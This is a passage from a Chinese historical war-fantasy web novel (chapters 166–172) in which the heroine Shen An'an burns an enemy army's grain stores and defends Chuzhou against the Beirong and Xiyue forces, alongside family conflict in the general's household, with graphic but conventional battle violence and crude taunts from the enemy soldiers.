有个巨能尿的,其他人都提起裤子走了,他还在抖那二两肉。 沈安安看其他人都进了帐篷,这才抬起胳膊,手起刀落,削掉了擎天柱。 不待这士兵喊叫一声,刀尖顺势而上,刺穿了他的喉咙。 血飙出来的声音,像极了撒尿。 “没事吧?”刚好,负责巡逻的北戎人过来,瞧他一个人站着,便问。 沈安安抓住西越士兵的胳膊,抬起来做了个挥手的姿势,然后背着他的身子,左右晃荡了下。 待巡逻的人走远后,她方将人顺势放倒,快速的扒了他的衣裳,换在了自己身上。 而那身染着血和尿的北戎衣裳,被她披盖在尸体身上。 她大摇大摆的进了营帐,倒头就躺在了床铺上。 这群西越人,吃饱喝足也不睡觉,就躺在床上吹牛逼,一直到后半夜,各个营帐的烛火才灭了,震天响的呼噜声此起彼伏。 沈安安包着被子,又等了两刻钟。 然后,她故意翻身弄出很大的动静,见这群人没被自己影响,她才起身,出了营帐。 北戎巡逻的人半刻钟一趟,她还是去了先前撒尿的那个地方,等左右两边巡逻的两批北戎人离开后,她绕到帐篷后面,往堆放粮草的地方摸去。 没有提前探知粮草位置的机会,她只能摸黑找。 但十万大军的口粮、几万马匹的草料,堆积起来像山一样,她也没费多少力气,就找到了。 沈安安拿出火折子,跑到草料最中间,将其点燃。 草料多,燃烧的又快,很快便是熊熊大火,连带着周遭的帐篷都点燃了。 火势蔓延,一部分人急着去救草料了,而前来救粮食的一部分人,成了她的枪下亡魂。 她还不能走,一定要等粮草也烧起来,确定烧大了没办法扑灭,这次的偷袭才算成功,否则就是前功尽弃。 很快,她就被围起来了。 北戎人本来很恐慌的,但见她是只身一人,还是个女子之后,便放松了警惕。 大批冲来的北戎人,都急着去灭火了,只有几十人将她围起来,试图将她斩杀了,将尸骨扔在这火里。 沈安安手握长枪,一跃而起,眼前重重叠叠的人被她一枪刺穿。 她双手将黑枪拎起来,串着的尸体被她扔进了熊熊大火里。 “啊!!!”惨叫声此起彼伏。 火烧着了衣裳,他们在粮草堆里滚来滚去,成了行动的燃烧点。 北戎人看她如此心狠手辣,很是气愤,群起而攻之。 沈安安手中黑枪,犹如黑龙,将冲过来的人打的四零五散,血腥味在空气中蔓延,血雾喷了她一脸。 北戎人终于发现,她不是个好对付的。 扎木乃也被惊动了,他领着弓箭手而来。 “给我射。”扎木乃一声令下,弓箭密密麻麻的从空中落下。 沈安安不得已后退,箭矢和黑枪碰撞在一起,发出锃锃的声响。 有北戎士兵冒着箭雨,手持弯刀,要上来把她砍死。 “快救火。”扎木乃所有的注意力都在粮草上,骂骂咧咧,“他娘的没了粮草,怎么伺候西越人?” “给我把这死娘们抓住,我要断她手脚,把她剁成肉泥喂狗。” 扎木乃这人,狠,但也蠢。 冲上来的北戎人,被沈安安用黑枪串起来,这成了她的肉盾,刚好给她挡了箭。 沈安安从尸体身上扒拉下来衣裳,用火点燃之后,继续扔。 扎木乃看着火光中,她还在不停的运作。 “他娘的,给我烧。”扎木乃下令。 “全都烧了,今晚就让西越人攻进楚州城,到时候在楚州城里咱们吃香的喝辣的,在乎这点狗屁粮草。” 反正保也保不住。 北戎人还真就按照他说的做,个个举起火把,朝着她扔了过来。 一时间,火光四起,将沈安安团团围住。 扎木乃下令,让弓箭手把四周围的水泄不通,有人从大火里冲出来,直接射。 炽热的火烤着,沈安安满头大汗,连手中的黑枪,温度也在不停的上升。 第167章 以一敌百 熊熊烈火,仿佛要吞噬一切。 渐渐的,火光大盛,已经看不清最中间沈安安的身影了。 扎木乃哈哈大笑的同时,还是命令着北戎士兵,疯狂射箭。 楚州城墙上静等的独孤及,看到滔天的火光,心下担忧极了。 他看着这火光,足足看了一个多时辰,火越来越大,连带着左侧的林子也要点着的架势。 但渐渐的,便从通红的火光变成了浓烟滚滚,这是灭火的迹象。 “独孤及,开城门。”忽地,底下传来一声。 蒙蒙亮的天光里,他看见沈安安提着黑枪,仰头看他。 独孤及大喜,赶紧奔下了城墙,打开了城门,将沈安安迎了进来。 她身上的衣裳破破烂烂,有被砍破的,也有被烧破的,便是连那一头乌黑的发,都有被火燎过的迹象。 发冠不知去了何处,墨发卷着垂下来,发梢被烧的卷曲发黄。 独孤及又喜又悲,想将人拥进怀中好好安慰一通,但最终还是忍住了这个冲动。 “臣还以为娘娘要葬身火海了。”独孤及道。 那滚滚浓烟,还在继续。 风一吹,站在这里都闻得到烧焦味,很臭。 两人合力将城门关上,大木头在当门闩,独孤及抱起来闩住了门。 “也是差一点。”沈安安说着。 要不是脚下垒的够高,她的轻功够好,体力也跟得上,恐怕真的就要陪着粮草一起死了。 “不过,闹出这样大的动静,他们不攻城?”独孤及疑惑着。 沈安安爬上了城墙,在一块平坦的石头上坐下来,“他们倒是想,但若是不及时灭火,山着起来,他们就无路可退了。” “我这一偷袭,准让他们觉得,楚州城内有支援,隐而不发,就是等着他们大军倾巢而出。” “扎木乃那个蠢货,竟还添了一把火,如若不然,我还真不一定能烧掉全部的粮草呢。” 沈安安从独孤及手中接过水囊,大口大口的喝着。 水囊应是被他一直都捂在胸口,便是寒冷的清晨,水入口也不是刺骨冰凉的那种。 沈安安咕噜咕噜灌了好几口,看着远处不断的腾升的浓烟,一时无话。 初冬时节,天干,没有那么多的“及时雨”灭火。 不想让萧沙岭着起来,这火他们得扑两天吧。 李泽里就是爬,也该到了。 到时让他带的那五百人,手持弓箭站在城墙上,再让那些百姓身穿盔甲造势。 应当是能吓退西越人的。 启西的兵不多,但轩辕的兵多啊。 轩辕有百万大军,想来西越人看到这架势,不敢轻举妄动的。 沈安安心中如此想着,却也没松口气,这都是往好了想,若是往坏了想…… 天光大亮的时候。 北戎有一股百人的骑兵突然来袭。 独孤及要出城迎战,被沈安安拦了下来。 她的那身大帅铠甲,让独孤及换上了。 “你什么都不用做,就坐在这里,气定神闲的看着。”沈安安命令着。 “那怎么行?”独孤及摩拳擦掌。 听闻北戎骑兵甚是厉害,一百人也不容小觑,她……真的能应付吗? “不听话,我是会打人的。”沈安安连黑枪也不用,拿着一把刀就从城墙上飞跃而下,她甚至连马都不要。 看的独孤及心惊胆战,但他不能表现出分毫,只得假装气定神闲的坐在这里一动不动。 沈安安这举动,也吓到了北戎人。 他们勒马停住,马蹄高高扬起,带着些染血的泥土,飞溅起来。 血腥味十足的泥土,迎面喷洒而来。 沈安安叫嚣着:“你们主帅胆子也太小了,连条拴起来的狗都不如,我烧了你们的粮草,他肯定勃然大怒吧? 但就派你们这点人来送死,他这是不把你们的命当命,也是拿我当神仙供着呐。” “放屁,你身后一座孤城,也敢这样吹牛逼?” “对付你一个,我们一百人足够了,还用惊动大军?” “贱人,看爷爷不把你拿下,拖回大营玩死你。” “就是,把这只胆子大的骚狐狸拿下,玩够了就扒皮抽筋给大汗的狼崽子吃。” 怕归怕,这这群北戎人,嘴上功夫可不弱。 沈安安也不废话,从地上勾起一把弯刀,大刀的刀刃勾着弯刀刀柄,旋转了好几圈后精准扔出。 弯刀划破气流,直直的朝着为首那人的眉心而去。 这人头一偏,躲开了。 就在他回正脑袋的一瞬间,哪知向后飞去的弯刀又折返了回来,像回旋镖一样朝着他的脑袋袭击而来。 钝了的弯刀,还是将他的脑袋削掉了半个。 不绝于耳的惨叫声,划破长空,在寂静的战场上,尤其刺耳。 他们本就是来打探军情的,看沈安安这样凶残霸道,纷纷调转马头就要逃跑。 沈安安手中的刀飞了出去,她双脚用力蹬在地上,追刀而去。 轻功的加持下,北戎人想跑也来不及。 落于最后的那个想要躲开,但沈安安已经骑在了他的马背上,一手控制住了他的脑袋,在他惊慌失措的喊声里,一刀抹了他的脖子。 人坠下了马,但手还死死的捏着缰绳。 沈安安不犹豫,将缰绳砍断,饶是受了惊的马,在她的胯下,也是一头听话的畜生。 “驾。”沈安安大喝一声,追了上去。 北戎人见跑不掉,便拔刀朝着她齐齐袭来。 若是继续跑,只会叫她一个个的杀掉。 若是大家齐心协力,或许还有一线生机。 弯刀像迎风的落叶一般,朝着沈安安的要害砍来。 他们连马也不放过,砍断了马的四肢,要把沈安安从马背上逼下来。 逼到了地上,他们将她团团围住。 弯刀和大刀轮番上阵,毫无章法的打法也能将她砍成一块块的了。 但是,他们想得美。 北戎人人高马大,近身行动本来就略显笨拙,更别说面对的还是轻功了然的沈安安了。 一匹马倒了,沈安安就跃上另外一人的马。 他们又要顾及自己人,又要杀沈安安,一时间连阵型都没办法保持了。 沈安安像兔子一样,在他们头顶蹦来蹦去,搞得他们束手无策。 这一百人,顷刻间乱成了浆糊,由沈安安砍杀。 鲜血成串的洒在她身上,她杀的只剩下了一人。 第168章你做不到的事,让我来做 这名北戎士兵,吓尿了。 骑在马背上,手里高举着弯刀,一双瞪大的眸子,就那样定定的看着沈安安。 叫他现在杀,他也不敢落刀了。 “回去告诉你们大汗,有种就出来跟我面对面打一架,别当缩头乌龟。 我就在楚州,等着他来,要是没种,不敢打,那就等我杀过去,叫他从我胯下钻过去,磕头求饶。” 北戎士兵已经说不出话了,连连点头。 沈安安不说让他走,他就不敢有动作。 还是她催促了一声,“愣着干什么?还不快回去报信?” “嗯嗯嗯。”他这才点头如捣蒜,调转了马头,赶紧跑远了。 城墙上的独孤及坐不住了,生怕沈安安还没折返回来,北戎又大举派兵进攻。 看着沈安安不急不缓的往城门走,他真是急死了。 赶紧下了城墙,从内打开城门,将沈安安一把拽了进来。 “你真是要吓死我了。”独孤及惊魂未定。 “怕什么?”沈安安道,“既然我敢出城迎敌,那就说明我有把握,不然你当我是去送死?” “回将军府吃饭吧,刚好我也换身衣服。”沈安安说着,唤来了枭龙。 独孤及的战马也跟来了,两人翻上马背。 独孤及一步三回头,他说:“不用找个人在城墙上守着吗?” “他们一时半会儿不会进攻,打仗也是需要制定计划的,你以为就是鼓声一响,直接不要命的往前冲吗?” “没有将领不爱惜自己的兵,当然了,我说的是好将领。” 沈安安说罢,在枭龙屁股上一鞭子,枭龙马蹄飞扬,朝着将军府奔去。 独孤及扛着她那杆黑枪,紧随其后。 …… 将军府内院里。 敞开的一间厢房里,楚舒茗坐在侧边的椅子上,楚天明坐在主位上。 夜亦德在门外的廊下,下人左右都给他放了炭火,倒是也不觉得冷。 他见楚天明迟迟不开口,道:“大将军,你再不说话,我母妃回来是要打死你的。” “御敌你不积极,道歉认错你也装哑巴,皇叔怎么想的,把启西交到你手里。 你简直连老将军的一根脚指头都比不上,要你有什么用?” 屋内一阵寂静,楚天明没应这话。 兄妹见面,却似仇人一般,楚舒茗连看都不愿看他一眼。 “并非我不愿,我也有妻儿要护,楚州是朝廷的心腹大患,朝廷要除,谁都没办法。”楚天明开口,声音很低,心中全都是苦涩。 父亲在时,朝廷给楚家军的军饷就时断时有,全都是父亲在养着楚家军。 他们把楚州守的固若金汤,不让北戎人踏进一步,可胞妹入宫的时候,是怎么被北戎人奸杀的? 当时他怎么想都没想明白,后来才知道,是有人不想胞妹入宫为妃。 因着他们家和先帝的那层关系,他胞妹入宫,日后势必要登上后位的。 是谁杀的已经不重要了,他为朝廷尽心尽力,可朝廷呢?容不下他们。 便是连夜昭闻,也是奉命前来监视大将军府一举一动的。 他同先帝是一起长大的情义,先帝是太子时他就追随,也逃脱不掉被怀疑功高震主的命运,更何况先帝已逝。 如今的陛下,跟他也谈不上什么情分了。 看看楚州都无人可守了,陛下还不派兵来驰援,就知道他是什么意思。 “兄长因一己之私,弃楚州于不顾,不知叔父泉下有知,可会瞑目?”楚舒茗声音冷的像冬日流淌的溪,直击楚天明的内心。 “兄长想着护自己的妻儿,那那些战死在楚州城外的军民呢?兄长猜猜看,他们浴血奋战的时候,想的是什么?” “我去了又能如何?凭我一人之力,能拦得住十万铁骑吗?城破是迟早的事情,我一人又能做得了什么? 你是我妹妹,我掏心掏肺与你聊,入宫前我是不是同你讲过了,你改变不了任何。” “茗妹,是你太天真了,我们这一家,为楚州付出的还不够吗?五叔六叔死在了战场上。 二弟三弟也死在了战场上,你看看如今的楚家,除了我的阔儿,还有后辈吗?” “我们楚家,男儿上阵杀敌,女儿联姻助他们稳固皇权,到头来呢?我们这一辈兄弟姊妹十四个,就剩了你和我? 你没见过你姐姐的尸首吗?你知道我有多怕……有多怕我也要那样亲手把你接回来吗?” “茗妹,你当我想吗?你当我想看见这样的楚州吗?这么些年过去了,他们可有给过楚州一兵一卒、一分一厘?” “茗妹,我拿什么争?赋税徭役压得百姓们喘不过气,这些年我跟你嫂嫂散尽家财,可那只是杯水车薪。 不用你说,我自知来日下到地狱,无颜面对我爹,可那些坐镇京城的,也无颜面对地下的列祖列宗。 陛下不作为、朝廷不作为,倒都怪在我头上了,陛下为了个女人,都能去灭了大晟。 他怎么不御驾亲征,来打北戎呢?北戎跟大晟比起来,算个屁啊?是我不让他来的吗?” “那是他不想来……” 楚天明越说情绪越激动,双拳紧紧的握着。 “可兄长,他们到死,都坚信你会护着他们。”楚舒茗眼泪一双双的流下来,她拿起帕子,擦了一遍又一遍。 “我知晓了,我不该怪你的兄长,可我也没办法原谅你,若楚州能渡过此劫。 若陛下真要用你的命,换大军庇护楚州,那我将请命,来取兄长你的命。 你不护,便让我用我的方式,来护这故土吧,我生于这里长于这里,我做不到像兄长这样冷眼旁观。” 她的泪流干了,眼中迸射出的,是坚韧。 楚天明抬头看着她,对上她那双水雾未干的眼睛,心里像有刀子在搅。 良久,楚天明忽地站起来,离开了。 那道落寞的身影,连步子都迈不快。 夜亦德睁着大大的眼睛,起身又坐下,反复几次。 哎呀,听完了他们的对话,他也不知道要怎么安慰楚妃娘娘。 怕是楚妃娘娘现在瞧见他,都是要生气的吧?父皇……父皇当真是那样的薄情寡义吗? 第169章铁血手段镇朝堂 将军府内院里。 夜昭闻的脸还是火辣辣的疼,沈安安那一巴掌把她的脸扇肿了,冰敷过了也没消下去。 “如何?”她看楚天明走了进来,问着。 “她还是像之前那样倔强,说什么都听不进去吗?” 夜昭闻操持着一整个家,亲眼看着楚家从辉煌走向落败,她不想楚家最后彻底凋零,化作这楚州的一抔黄土。 “她从小就倔,又要强,连我爹的话都不一定听。”楚天明道。 夜昭闻一听这话,就知晓,他们兄妹是谈崩了。 楚天明要关切她的伤,被她一把打落了手。 她置气的坐在椅子上,一通抱怨,“早就说了,让她嫁个寻常人家,趁早结婚生子,她非就心比天高。” “以为飞去了京城,就能做成人上人,以为跟在陛下身边,就能抬手指点江山了。 她是个心气儿高的,这我知道,可她偏生成了女儿身,既是女儿,就得认命,她怎么就不懂?” “如今被派来了楚州,说是归乡省亲,实则就是要她也跳入启西的漩涡之中。 她还巴巴的来了,要是楚州城破了,启西被屠戮了,她还能活着回去吗? 就算侥幸活着回去了,那也是被打入冷宫的命,她是个聪明的呀,怎的这都看不明白?” 夜昭闻情急,如坐针毡。 楚天明抓住她的手腕,叫她不要慌。 “我就这样躲下去,也不是个办法。”楚天明沉思过后,开口说着。 夜昭闻刷一下站起了身,垂眸盯着他质问,“你答应过我什么都忘了吗?你什么意思?你要抛下我们母子,去给朝廷继续卖命吗?” “都这样了,谁去谁死,你也糊涂了吗?” 楚天明也连忙起身,扶着她的肩膀,让她先别生气,听他慢慢说。 可夜昭闻哪里冷静得下来?指着他的鼻子好一通骂,“我看你连你爹的话也不听了,你爹消失前,就让你交了兵权。 好不容易我们挨过来了,只要再挨过这一遭……” “闻儿,启西没了,我们还能活吗?”楚天明忽地出声,打断了夜昭闻的话。 霎时间,房中安静了下来,只有炭火燃烧的声音。 楚天明盯着烧红的炭火看,“想着城外那些在寒风里的尸骨,我整夜整夜的睡不着觉。” “我就在想,要是我从一开始就管了,还会是今天这样吗?我对不起楚家军,对不起楚州,我还要对不起整个启西吗? 我好生生的一个男儿郎,却要妹妹去替我背负责任,那我成了什么?” “陛下若真要除我楚家,城外那十万铁骑破城之日,就是我们全家人头落地之时。 是我一叶障目了,陛下不是先帝,他没那么多的情分跟我们讲,我们早该明白这一点的。” 也是楚舒茗,一语惊醒了梦中人。 夜昭闻想起了惨死于先帝时期宫变的那些皇亲国戚,哪一个的覆灭,没有夜不群的手笔? …… 夜亦德的客房里。 一张八仙桌前,三人围坐。 楚妃勉强喝了两口粥,又躺下了,郎中说她身体很虚弱,需要静养。 身边伺候的,是她从宫里带来的两个宫女。 夜亦德一边吃着,一边将楚天明和楚舒茗的对话说给了二人听。 “母妃,我父皇真的手段如此狠辣吗?”夜亦德抬眸看向沈安安,问着。 沈安安大口大口的扒拉着面条。 这面条煮的太软了,筷子一捞起来就断了,吃起来没什么嚼劲,她端起碗扒拉了几口,半碗面就没了。 “没有点铁血手段,是镇不住文武百官的,他能开疆扩土,将四大将军铲除殆尽,兵权归于朝廷,是个厉害的人物。” “唉,亦德啊,所有的皇权争斗,都来自于人的不满足,别说一国之君了,就算一方将领,也不喜欢手底下有人不听话。” “过去的事儿,已经结束在他那个时代了,不能幸存的,都陪着他去了。 能幸存的,就该审时度势,重新找准自己的定位,然后做当朝之臣。 你见过几个念着过去的人,有好日子过的?他们都是叫过去亲眼所见的那些蒙蔽了双眼,止步不前了而已。” “人跟人是不一样的,陛下跟先皇也不一样,为什么武文义、杨士青、万辛就能寻得一线生机?他们哪个不是先帝时的重臣? 究其根本,还是他们放得下,打仗也是同样的道理,败了要放下,赢了也要放下,收放自如,方能立世不倒。” 坐在她旁边的独孤及,挑着鱼刺。 将那嫩白的,一粒粒没有鱼刺的鱼肉,推到了沈安安面前。 沈安安白了他一眼,“你打仗的时候也要这样不急不躁的给敌人剔骨?” 独孤及道:“娘娘说的有理。” “臣是说,娘娘刚才那番话,让臣醍醐灌顶。” 夜亦德把一盘鱼肉拨到了自己跟前儿,大口大口的吃完,瞪了独孤及一眼,“你听见没有?叫你放下,母妃是说给你听的。” 独孤及又把盘子拨了回来,夹了一只大鸡腿给他,“殿下吃这个,吃鱼不好。” “我就要吃鱼,我才不吃你夹的东西。”隔着沈安安,夜亦德跟他斗嘴。 夜亦德将鸡腿夹起来,就往桌子上一扔,鸡腿弹跳了几下,掉在了地上。 “哎呀!”沈安安皱着眉,“外面的人连口汤都喝不上,你们两个还闹脾气浪费上了。 没看这满桌子的菜,就三个鸡腿一条河鱼吗?这会子不好好吃,下一顿没得吃了。” 沈安安拿着筷子,弯腰将鸡腿捡起来,“呼呼”的吹了两口,张嘴就咬了去。 夜亦德和独孤及看的一愣一愣。 在他们的印象里,掉在地上的是脏东西,脏东西是会吃坏肚子的。 “看什么看?吃啊。”沈安安又坐回凳子上,三两口咬干净了鸡腿,继续扒拉面条。 李泽里是真的慢啊,第二天早上,才气喘吁吁的赶到了将军府。 “娘娘、世子,臣终于赶到了,臣没误事儿吧?”人刚进院子,声音便传了来。 沈安安耳朵尖,当即就跑去了前院,目光掠过李泽里,往大门外望去。 第170章赳赳老兵 李泽里挪了挪身子,把自己正正的摆放在沈安安面前,“娘娘,臣何德何能,还让娘娘亲自来接。” 沈安安两步奔下台阶,一把将人拨开,跑到大门口去看,门外就两侍卫还骑在马上。 “就你们三个?”她不可置信的回头看向李泽里,问着。 李泽里点了点头,“嗯啊,陛下没下令让我带人来,娘娘和世子不是先赶过来了吗?我心想陛下肯定是把大队人马给你们了。 所以我母亲给我的人,我没带。” “不过你看娘娘,我带了吃的来,我母亲说楚州苦寒,怕我饿着,给我准备了好些吃的。 连你们那份也一并准备了,不过话又说回来,娘娘,为什么你跟世子住在将军府,而不是大营啊?” 沈安安看着整整几十马车的所谓的粮食,又问:“你就这样大摇大摆的来,一路上没人抢你?” 李泽里指了指自己背上的旗帜,“有这个谁敢抢?” 那是专门给前线押送军粮的旗帜,抢了军粮,整个州的官员都得受罚,所以一路上安然无恙。 沈安安叹了口气,叫人先把粮食都搬进了将军府。 她一边带李泽里往后面的院子走去,一边忍不住的骂着:“你是猪吗?只记得吃吃吃。 带这么多,你是打算在楚州待到老吗?倒是够你一个人吃很久了,你是真没想过边关将士的死活啊。” 李泽里小碎步的跟在她旁边,“娘娘,这你可冤枉臣了,臣记着你和世子呢。” 刚一进院子,看见夜亦德也站在廊下,他忙又加了一句,“还有殿下,臣都记着呢。 这些粮食,足够咱们四人吃到仗打结束了。” 沈安安鼻孔里哼哼了两声,抬步进了屋子。 李泽里还顶着笑脸,继续跟独孤及寒暄,还凑到他耳边,小声的八卦,“世子,是不是仗打的不顺利,娘娘才生气的?” “肯定是你哪里做的不好,惹她生气了。”独孤及拽着他的胳膊,往里走。 李泽里把胳膊往回扯,“世子你可别乱说,我刚到,怎么会惹娘娘生气?” 李泽里眼睛一直盯着独孤及看,生怕他说的全都是真的。 这位荣贵妃的名号,他可是听说过的,这是个连陛下都敢指摘的人,是个狠角儿。 半途时,母亲给他飞鸽传书了,要他好好听荣贵妃的话。 这不,他怕抢了荣贵妃的风头,就把母亲给他的护卫给遣散了。 “就是你,指定是你,不是你,还能是我?还能是殿下不成?”独孤及笃定的开口。 李泽里丈二的和尚摸不着头脑,抬手摸着自己的脑袋,愁眉苦脸的。 “怎么打?这仗你说怎么打?”沈安安把茶杯捏的嘎嘣响,“他就带了两护卫来,加上我们三个,统共五个。” “楚州挨着北边的,有三个城门,怎么守?” 沈安安也烦躁了,她想过李泽里带的人会少,但没想过会这么少。 李泽里看看沈安安,又看看独孤及,心想坏了,还真是他惹荣贵妃生气了。 他望向沈安安,试探的开口:“那娘娘,我给母亲飞鸽传信一封,叫她快点派些人手过来?” “顶个屁用。”沈安安不拘小节道。 李泽里脸色更难看了,心想:‘为何不顶用?’ 看他这个脑子不灵光的样子,沈安安和独孤及都懒得解释,一时间,屋中陷入了沉默。 忽地,李泽里开口:“那要不,咱们征兵?就近拉人,比从京城派人过来快些。” “怎么征?” “怎么拉?” 沈安安和独孤及同时开口。 “你没看到……”沈安安一句话没说完,却被茫然开口的李泽里给打断了。 “找我太祖父的学生啊,我听说有在这里当官的啊,征不到兵,接几个府卫也可以的吧娘娘?” 沈安安一听这话,点着头,应着:“可以可以,非常可以,我跟你一起去。” “娘娘,还是让殿下陪着李公子一起去吧,殿下能代表朝廷。”独孤及建议着,“再说了,这里还要您镇守呢。” “对对对,前线可不能少了娘娘,还是臣和殿下去吧。”李泽里道。 沈安安想了想,也的确如此,便让他们去了。 这李泽里知道背上的旗子是保命符,便走哪儿背哪儿,他那两个护卫,更是形影不离。 沈安安亲自骑着马,去城门口瞧了一眼。 西越人动作还是快,那浓浓的滚烟,已经消了大半。 她估摸的没错,过了今晚,这火该彻底扑灭了。 西越人是退还是攻,就看明日了。 等她再回到将军府时,就看到一身盔甲的楚天明正等着她。 而他身后,参差不齐的站着约莫六十人,个个都身穿甲胄,背上别着大刀,腰间一根铁链子上,拴着一把半圆的刀。 “娘娘,不……将军,我愿随将军出征。” “我等愿随将军出征,保家卫国。” 楚天明的声音先起,接着是站在他身后的几十名老兵的声音。 “好。”沈安安朗声道,“有你们,实乃我之幸,明日一战,我不敢保证将你们活着带回来。 但我会跟你们同生共死,若诸位能有幸活下来,我必带着诸位回京,为诸位请功请赏。” 老兵们齐齐开口:“我们不为赏赐,心甘情愿受将军调遣。” 沈安安派了十人,前去城墙上守着。 …… 而与此同时,楚州城外大营里的扎木乃,也是头疼欲裂。 一场火,几乎烧干净了,西越人怪他,连粮草都看不好。 西越主将说了,明日叫他先攻城。 回来报信的那名小兵,站在他身边,道:“大汗,这不是叫咱们去送死吗?” “要是城内真有轩辕伏兵,那我们有去无回,他们那个女将军,一个人连马都不骑就敢对战我们一百骑兵。” “大汗,静悄悄的,城墙上一点儿动静都没有,甚至西固门和西前门都没有人把守。” 这小兵被沈安安打出阴影来了,现在只想着赶紧回家。 吃不饱肚子也总比成为刀下亡魂的好,他们真的打不过啊。 这都跟轩辕打了两三次了,每次都是他们进攻,西越人就负责吃吃喝喝,现在还要拿他们当肉盾,这群畜生。 第171章 冲锋 沈安安知道明日必有一场恶战,连跟楚天明的寒暄都省了,回到客房开始磨刀。 她擅长使用长枪,但近身搏斗的时候,往往是匕首和刀更好用。 沈安安喜欢有重量的东西,所以她的刀和匕首,都要比寻常的有分量。 刀刃在磨刀石上滑过,摩擦产生的声音让人牙痒痒。 独孤及也有样学样,找了块磨刀石,在她对面坐下来,开始磨刀。 气氛莫名有些凝重,这刀足足磨了半个时辰,沈安安把刀放回刀鞘里,吃饱喝足后躺床上睡了。 翌日巳正时分,有老兵匆匆跑回来禀报,说北戎集结兵马,要开始攻城了。 沈安安闻言,提着黑枪跨出了房间,一路奔到了大门外,翻身上了枭龙的背。 楚天明和独孤及紧随其后,沈安安道:“不能让他们靠近城门,另外两个门,派人从里面堵死了。 楚天明,你跟我出城迎敌,不管对方来了多少人,我们都要将他们拦在攻城范围以外。” “是。”楚天明身穿铠甲,应着,他座下的战马,跑起来竟不比枭龙慢。 “独孤及,你还是穿着那身大帅铠甲,坐镇城墙,你主要的任务,就是扰乱对方的军心。 给他们一种,势必要将他们哄骗进城的错觉。”沈安安头也不回的命令着。 “是。”独孤及应下。 早已经有人将城门打开了,一前一后两道孤零零的身影,骑马飞驰了出去。 北戎人的队伍刚要拉开,楚天明手持大弓,三箭齐发,朝着北戎的旗帜射了去。 北戎士兵收起旗帜,待箭矢滑过之后,才再一次立起来。 但就是这停顿的间隙,两匹马已经飞驰前来。 即便面临着北戎三千人的骑兵,二人也丝毫不胆怯,直冲而去。 这一下,让北戎人直接懵逼。 “嗖嗖。”几声箭矢,刺穿了北戎士兵的眉心,人应声倒在了地上。 马蹄凌乱,将那尸体踩的面目全非。 沈安安手撑在枭龙的背上,一跃而起,飞进了敌营中心。 而枭龙扭头就跑,避免被北戎人团团围住,随时等待接应沈安安。 她还是那一招直捣黄龙,直冲着北戎将领而去。 这将领也不是吃素的,手持一双大斧,在她落下来的瞬间朝着她就劈了去。 大斧与黑枪碰撞,擦出了火花。 沈安安借力朝着将领的胸口蹬去,将领身子一挺,结实的胸膛挨了沈安安一脚,他身子向后倒去,胯下的马也后退了些,拉开了两人的距离。 沈安安身子下落时,北戎士兵的弯刀,齐齐朝着她劈砍而来。 手中黑枪一个翻转,将那些弯刀劈的四下散开。 沈安安落在了地上,身子矮下去,双手背在身后,黑枪在手中像旋风一样转动。 弯刀都被弹开。 北戎人换了铁爪,用链子拴起来的,另一端是挂在马上的。 铁爪灵活的朝着沈安安扔了过来。 就在要勾住沈安安身子的刹那,她手中黑枪直直的插进地上,她借着黑枪的力道,身子跃到了空中。 如此一来,那些铁爪便尽数勾在了黑枪上。 他们要用力开扯时,沈安安脚上附着了内力,踩在黑枪空中的另一端。 她一脚,将黑枪踩的继续下陷,来不及松手的北戎士兵,被这突如其来的力道,拽下了马背。 而那些战马,也开始受惊乱奔。 眼看着黑枪就要被马拖走,沈安安凌空一个倒挂金钟,一只手握住黑枪,顺着枪杆滑下来,握在中间部分,将黑枪从地里拔了出来。 黑枪锋利的那一端,斩断了根根锁链。 就这一下,北戎人倒地几十人。 跑是不存在的,他们朝着沈安安蜂拥而来,要与沈安安近身搏斗。 沈安安手持黑枪,他们哪里是对手?不多时便纷纷倒地。 外围的楚天明也不弱,跟北戎士兵缠斗在一起,给沈安安分担压力。 沈安安目标明确,朝着北戎将领继续进攻。 这将领骑在彪悍的马背上,一双大斧子,朝着沈安安娇小的身子劈下来。 沈安安巧妙的躲开。 将领大喝一声:“给我将她围起来。” 一时间,有继续发动攻击,阻止沈安安突围的。 而在他们的后面,骑在马背上的北戎士兵,围着沈安安开始逆时针狂奔。 速度之快,沈安安目之所及都是人的残影。 马蹄声、兵器碰撞的声音、士兵高呼的声音,还有马蹄扬起的染血的尘土,无一不在扰乱沈安安的视听。 不时有几支冷箭,朝着沈安安的心口和眉心射击而来。 每一次都擦着她的要害滑过,她就像泥鳅一样,这箭矢怎么都射不中她。 每一次的进攻,沈安安都能巧妙的躲开。 但几轮下来,她也负了伤。 她明显要比楚天明难对付的多,北戎将领命令更多的士兵来针对她。 包围之势还是形成了。 里三层外三层,将沈安安围的水泄不通。 箭矢、弯刀,轮番朝着沈安安而来。 逼近的马匹,皆被她斩于长枪之下。 脚下人和马匹的尸体,层层叠叠,沈安安踩在尸体上,不断的在升高。 他们是要将她的体力耗尽。 若是再不突围出去,将这群人杀个干干净净,那他们叫来援兵,她和楚天明,都得葬身在这里。 到时别说是守护楚州了,三道城门皆会被破,西越和北戎的铁骑,会将楚州屠戮殆尽的。 但沈安安还不能表现的太强势,否则他们会立马叫来援兵。 就是要在他们出其不意时,和楚天明合力,让他们全都死在这里。 沈安安心中思索着,渐渐露出了颓势。 她从一堆尸体上滚下来,背上生生挨了一弯刀。 “噗。”一口血沫,被她吐了出来。 一直伺机而动的北戎将领,立马抓住机会,大斧头朝着她的脑袋就劈了下来。 而另有其他的北戎士兵,手持弯刀,从马背上跳下来,朝着她的下半身砍了来。 “就是此时。”沈安安松开黑枪,拔出匕首,匕首像飞刀一样,被她附着了内力,朝着将领的眉心飞去。 将领想避开已经来不及了,只得抬起左手,用笨重的大斧劈开匕首。 沈安安身子一缩,朝着她下半身劈来的那些弯刀,便都砍在了空地上。 第172章 心腹大患 沈安安速度极快,随手捡起地上一把弯刀,勾住了大斧头,连带着往怀中一拽。 她这一下,用尽了力气。 这大斧头就是对方的保命武器,丢是不会丢的。 再者,在将领身子下倾的时候,沈安安已经抓住了他的手腕,他想要挣脱,除非别要这只手。 他在衡量的时候,沈安安左手已经拔出了身上的刀,格挡住了北戎士兵砍下来的三把弯刀。 她不给北戎将领犹豫的机会,左手的大刀附力滑出。 原本是够不到北戎将领的脑袋的,但沈安安将他再一次往怀中一拉。 北戎将领看躲不过,干脆举起大斧头要跟沈安安同归于尽。 大斧头朝着沈安安的脑袋就劈了下来,沈安安巧妙的躲开,那大斧头擦着她的鼻尖,从她眼前落下。 她刚一收脚,大斧头便劈在了地上,溅起来的尘土,扑满了沈安安的鞋面。 “噗。”将领一口鲜血,吐了出来。 他脖子被锋利的刀刃划破,鲜血顺着刀刃流下来,他也从马背上栽下来。 